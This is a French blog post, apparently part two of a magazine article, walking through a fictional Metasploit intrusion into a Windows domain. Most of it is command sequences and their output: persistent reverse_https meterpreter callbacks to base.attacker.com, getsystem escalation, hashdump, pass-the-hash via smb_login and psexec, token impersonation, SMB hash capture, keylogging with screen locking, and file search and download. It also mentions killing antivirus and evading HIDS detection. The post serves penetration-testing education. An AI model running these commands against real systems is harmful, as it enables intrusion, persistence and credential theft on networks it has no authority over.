Ce post fait suite à la publication de la première partie de l’article sur le framework metasploit publié dans le numéro 52 du magasine MISC par Julien Bachmann et Nicolas Oberli.
Attaque du LAN
Mise en place d’une connexion persistante
Maintenant qu’un shell est accessible sur un serveur Windows du LAN il est intéressant de le transformer en accès persistant afin d’y accéder sans exploiter la vulnérabilité une nouvelle fois (si elle est encore présente) et avoir un accès direct à ce serveur. Pour ce faire, le script persistence installe un meterpreter chargé par un service Windows. Ici, il été modifié afin d’utiliser la payload windows/meterpreter/reverse_https.
[sourcecode language=”text”]
meterpreter > run persistence_https -X -i 5 -p 443 -r base.attacker.com
[*] Creating a persistent agent: LHOST=base.attacker.com LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 609377 bytes long
[*] Uploaded the persistent agent to C:…EgcwcguAjH.vbs
[*] Agent executed with PID 1900
[*] Installing into autorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRunzqYcEUQUwNcdg
[*] Installed into autorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRunzqYcEUQUwNcdg
[/sourcecode]
Sur le serveur contrôlé par les attaquants, un handler écoutant sur le port 443 doit être mis en place afin de recevoir la demande de connexion émise par le serveur compromis:
[sourcecode language=”text”]
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set LHOST base.attacker.com
LHOST => base.attacker.com
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://base.attacker.com:443/
[*] Starting the payload handler…
[*] 192.168.145.22:1031 Request received for /A9ueO…
[*] 192.168.145.22:1031 Staging connection for target 9ueO received…
[*] Patching Target ID 9ueO into DLL
[*] 192.168.145.22:1034 Request received for /A9ueO…
[*] 192.168.145.22:1034 Staging connection for target 9ueO received…
[*] Patching Target ID 9ueO into DLL
[*] 192.168.145.22:1035 Request received for /B9ueO…
[*] 192.168.145.22:1035 Stage connection for target 9ueO received…
[*] Meterpreter session 5 opened (base.attacker.com:443 -> 192.168.145.22:1035) at Fri Sep 10 15:44:01 +0200 2010
[/sourcecode]
Elévation de privilèges
Certains exploits ne permettent pas d’obtenir directement les privilèges LOCAL SYSTEM, comme ici où l’exploit donne un accès en tant qu’administrateur local. Un tel accès est nécessaire afin d’accéder à des points clef du système comme les ruches SAM et Security par exemple. Le module priv exploite diverses techniques afin d’obtenir plus de privilèges via la commande getsystem. Toutes ces techniques, exceptée Kitrap0d, nécessitent l’obtention des droits d’administrateur local.
Deux de ces méthodes reposent sur la fonction Advapi32!ImpersonateNamedPipeClient qui permet d’usurper l’identité d’un processus se connectant à un tube nommé crée depuis le processus ayant les droits administrateur local. La première crée un service qui exécute un cmd.exe se connectant au tube nommé et la seconde utilise une bibliothèque qui se charge en tant que service. Cette dernière a l’inconvénient de créer un fichier sur le disque dur.
La méthode suivante nécessite, en plus des droits d’administrateur local, les droits SeDebugPrivilege. Dans la pratique, il est plutôt rare d’avoir un compte administrateur local sans ces droits étant donné qu’il peut se les attribuer. La méthode Reflective DLL Injection [LOADR] est utilisée afin de charger une bibliothèque dans le contexte d’un service. Cette dernière duplique son jeton (advapi32!OpenProcessToken et advapi32!DuplicateTokenEx) et l’applique au thread dans lequel tourne le meterpreter (advapi32! SetThreadToken).
Une vulnérabilité dans le sous-système NTVDM est exploitée dans la dernière méthode. Découverte par Tavis Ormandy [NTVDM], elle exécute du code dans le ring0 depuis un processus (ring3). Une fois dans le contexte du kernel, les jetons d’accès des processus contenant le meterpreter et SYSTEM sont recherchés via nt!PsLookupProcessByProcessId et nt!PsReferencePrimaryToken et celui du meterpreter est modifié pour lui donner les droits LOCAL SYSTEM.
[sourcecode language=”text”]
meterpreter > use priv
Loading extension priv…success.
meterpreter > getsystem
…got system (via technique 1).
[/sourcecode]
Compromission d’autres machines du LAN
Récupération des condensats LM et NTLM
Lors de la compromission d’une machine sous Windows, la récupération des condensats LM et NTLM est une aide précieuse pour l’attaque d’autres hôtes (réutilisation de mot de passe). Le framework fourni deux méthodes pour récupérer ces précieux condensats.
Le module priv dump, via la commande hashump, les condensats LM et NTLM. Cette méthode repose sur le même procédé que pwdump afin de récupérer les condensats sur un système démarré pour contourner le chiffrement des ruches par la SYSKEY. Après élévation de privilèges en tant que LOCAL SYSTEM, la bibliothèque samsrv.dll est chargée et les fonctions donnant accès aux condensats sont appelées (samsrv!{SamrOpenDomain, SamrEnumerateUsersInDomain, SamrOpenUser, SamrQueryInformationUser, …}).
L’alternative à cette méthode est l’utilisation du script hashdump. Ce dernier récupère la bootkey depuis les clefs SYSTEMCurrentControlSetControlLsa{JD,Skew1,GBG,Data} , la remet dans l’ordre puis l’utilise pour déchiffrer les condensats des utilisateurs, stockés dans la base des registres.
[sourcecode language=”text”]
meterpreter > use priv
Loading extension priv…success.
meterpreter > hashdump
Administrateur:500:e52cac67419axx2254102507d7718ab3:7b739762b9e5e1512f3971b19250dfxx:::
[/sourcecode]
L’utilisation de la commande hashdump n’est pas très furtive, et de nombreux antivirus et HIDS détectent les injections de code au sein de LSASS.EXE, ce qui peut provoquer un crash de ce dernier et par la même occasion, un reboot du serveur victime. Plutôt que de désactiver l’antivirus (le script killav du meterpreter le fait plutôt bien), il est préférable d’utiliser la seconde méthode qui consiste justement à utiliser des appels système “légitimes” afin de ne pas mettre en péril le fonctionnement du serveur.
A noter en outre que la commande hashdump du module priv peut être exécutée en tant qu’administrateur local du poste visé, alors que le script nécessite quant à lui obligatoirement les privilèges SYSTEM.
Réutilisation des condensats
À partir du moment où les condensats LM et NTLM sont à disposition, le premier réflexe est de sortir les rainbowtables pour les casser. Heureusement, comme bien souvent rappelé sur certains blogs au milieu d’autres échecs de la sécurité, le mécanisme d’authentification de Windows souffre d’un problème permettant de se connecter à distance à une machine sans avoir à casser le condensat. Cette attaque, nommée pass the hash [PSHTK] est implémentée dans metasploit afin de l’utiliser dans différents modules liés au protocole SMB. Dans un premier temps, la recherche des hôtes accessibles est réalisée à l’aide du module smb_login puis le module psexec sera utilisé pour avoir une invite de commandes sur les serveurs.
Le module smb_login tente simplement de se connecter sur le service SMB d’une liste de machines. Ici, le serveur du LAN sert de pivot afin d’utiliser les modules de metasploit contre les machines se trouvant de son coté du firewall.
[sourcecode language=”text”]
> route add 192.168.145.0 255.255.255.0 5
> use auxiliary/scanner/smb/smb_login
> set smbdomain .
> set smbuser administrateur
> set smbpass e52cac67419axx2254102507d7718ab3:7b739762b9e5e1512f3971b19250dfxx
> set rhosts 192.168.145.0/24
> run
[*] Starting SMB login attempt on 192.168.145.0
..[+] 192.168.145.33 – SUCCESSFUL LOGIN (Windows Server 2003 R2 3790 Service Pack 2) ‘administrateur’ : ‘e52cac67419axx2254102507d7718ab3:7b739762b9e5e1512f3971b19250dfxx’
[/sourcecode]
Le binaire psexec est souvent utilisé lors des tests de pénétration dans le but d’avoir une invite de commandes sur un système pour lequel les authentifiants sont connus. Comme toute bonne trousse à outils, metasploit intègre un module reposant sur psexec et charge un meterpreter sur ces machines.
[sourcecode language=”text”]
> use exploit/windows/smb/psexec
> set payload windows/meterpreter/bind_tcp
> set lport 1337
> set rhost 192.168.145.33
> exploit
[*] Connecting to the server…
[*] Started bind handler
[*] Authenticating as user ‘administrateur’…
[*] Uploading payload…
…
[*] Meterpreter session 8 opened…
[/sourcecode]
À noter que si le condensat LM n’est pas disponible, il faut le remplacer par 32 ‘0’ au moment de donner une valeur à la variable smbpass.
Jetons d’accès
Ayant gagné un accès à un nouveau serveur du LAN, la commande list_tokens du module incognito liste les utilisateurs connecté. Ce module manipule les jetons d’accès générés au moment où une session interactive est initiée (console, une session RDP ou lors d’un accès à un serveur de fichiers chiffré par exemple).
La liste des jetons d’accès est obtenue via NtQuerySystemInformation avec comme argument SystemHandleInformation, puis pour chaque processus la fonction NtQueryObject est utilisée pour récupérer les objets ayant pour type Token. Pour l’affichage, le nom correspondant à un jeton est retourné par un appel à la fonction advapi32!LookupAccountSidA.
[sourcecode language=”text”]
meterpreter > use incognito
Loading extension incognito…success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
AUTORITE NTSERVICE LOCAL
AUTORITE NTSERVICE RESEAU
AUTORITE NTSYSTEM
TESTAdministrateur
Impersonation Tokens Available
========================================
AUTORITE NTANONYMOUS LOGON
[/sourcecode]
Par chance, l’administrateur du domaine est également connecté sur cette machine. La commande snarf_hashes empreinte l’identité des jetons disponible afin d’initier une connexion sur un serveur SMB. En utilisant le second serveur du LAN compromis au préalable (linux.test.internal), il est possible de lancer le module auxiliary/server/capture/smb qui envoie toujours le même challenge lors d’une connexion (x11x22x33x44x55x66x77x88) afin d’utiliser des tables HALFLM pour retrouver les mots de passe plus rapidement.
Sur le serveur Linux compromis un peu plus tôt (linux.test.internal) :
[sourcecode language=”text”]
$ ./msfconsole
> use auxiliary/server/capture/smb
msf auxiliary(smb) > run
[/sourcecode]
Puis sur le dernier serveur Windows compromis :
[sourcecode language=”text”]
meterpreter > snarf_hashes linux.test.internal
[*] Snarfing token hashes…
[/sourcecode]
Ce qui donneles condensats LM de l’administrateur du domaine depuis le serveur linux.
[sourcecode language=”text”]
[*] Captured 127.0.0.1:50863 TESTAdministrateur
LMHASH:52cb0e0xxe1e216509bc0268d91ee187d5f4a3dad8f5adxx
NTHASH:52cb0e0xxe1e216509bc0268d91ee187d5f4a3dad8f5adxx OS:Windows Server 2003 R2 3790 Service Pack 2 LM:
[/sourcecode]
Une autre solution consiste à usurper l’identité TESTAdministrateur afin d’ajouter un compte faisant partie du groupe d’administrateurs du domaine via les commandes add_user et add_group_user du module incognito.
Récupération d’informations
Keylogging
Maintenant que le domaine est sous-contrôle, vient le moment de récupérer des informations. Le framework dispose ici encore de modules pratiques pour ce cas. Afin de gagner des accès à d’autres applications (web ou bases de données SQL par exemple), il est intéressant de capturer les frappes des utilisateurs. Le script keylogrecorder récupère les frappes d’un utilisateur sur le bureau ou dans winlogon, lancé dans une session séparée afin d’empêcher l’utilisation d’un keylogger classique. Il utilise la fonctionnalité de migration du meterpreter afin de capturer les touches dans winlogon (migration dans le processus winlogon). La récupération des touches est réalisée en appelant la fonction user32!GetAsyncKeyState.
[sourcecode language=”text”]
meterpreter > bgrun keylogrecorder -c 0 -t 15
[*] Executed Meterpreter with Job ID 0
[*] explorer.exe Process found, migrating into 1148
[*] Migration Successful!!
[*] Starting the keystroke sniffer…
[*] Keystrokes being saved in to /Users/…/192.168.145.33_20100914.3309.txt
[*] Recording
[/sourcecode]
Le commutateur -l du script verrouille l’écran de l’utilisateur afin de l’obliger à entrer son mot-de-passe. Cette fonctionnalité repose sur l’utilisation de l’extension railgun. Cette dernier offre un accès direct à l’API Windows depuis le shell ruby. Le code pour verrouiller l’écran est équivalent au suivant :
[sourcecode language=”text”]
meterpreter> irb
>> client.core.use(‘railgun’)
>> client.railgun.user32.LockWorkStation()
[/sourcecode]
De même, il est possible d’utiliser d’autres bibliothèques dans railgun en les chargeant puis en définissant les fonctions, comme par exemple :
[sourcecode language=”text”]
>> client.railgun.add_dll(‘shell32′,’c:\windows\system32\shell32.dll’)
>> client.railgun.add_function(‘shell32’, ‘IsUserAnAdmin’, ‘BOOL’, [])
>> client.railgun.shell32.IsUserAnAdmin()
[/sourcecode]
Récupération de fichiers
Lors d’une intrusion, il est intéressant de récupérer des fichiers afin de glaner d’avantage d’informations. Depuis peu, il est possible de rechercher des fichiers depuis le meterpreter via la très récente commande search :
[sourcecode language=”text”]
meterpreter > search -f *.pdf
Found 241 results…
c:documents and settings…network_diagram.pdf (44101 bytes)
…
z:\localscapy-2.0.1…scapy-concept.pdf (7842 bytes)
[/sourcecode]
Une fois les fichiers intéressants localisés, il est possible de les télécharger avec la commande download:
[sourcecode language=”text”]
meterpreter > download c:documents and settings…network_diagram.pdf /tmp/diagram.pdf
[/sourcecode]
La fonction search recherche également, sur Windows Vista, 7 et 2008 via les services d’indexation de Windows, dans l’historique du navigateur ainsi que dans les emails de l’utilisateur en spécifiant iehistory pour l’historique et mapi pour les mails.
Conclusion
Il est difficile de présenter toutes les utilisations du framework metasploit tant le sujet est vaste et en mouvement (modules spécifiques au wifi, payloads pour os mobiles, attaques client-side, …) et des sites de références permettent de suivre l’évolution du framework ([OFFSEC], [BLOG1] et [BLOG2]). L’exemple décrit ici montre en cas d’utilisation de metasploit des portes de la DMZ jusqu’au coeur du domaine Windows. À noter que metasploit est également utilisable depuis des terminaux mobiles comme les iPhones ou le N900 et de ce fait, cette attaque pourrait être exécutée depuis un café.
Nous tenons à préciser qu’aucun administrateur système n’a été blessé dans le cadre de cette intrusion fictive.
Références
[DNET] http://code.google.com/p/libdnet/
[LOADR] http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf
[NTVDM] http://seclists.org/fulldisclosure/2010/Jan/341
[PSHTK] http://oss.coresecurity.com/projects/pshtoolkit.htm
[TOKEN] http://www.mwrinfosecurity.com/publications/mwri_security-implications-of-windows-access- tokens_2008-04-14.pdf
[OFFSEC] http://www.offensive-security.com/metasploit-unleashed/
[BLOG1] http://www.room362.com/
[BLOG2] http://carnal0wnage.blogspot.com/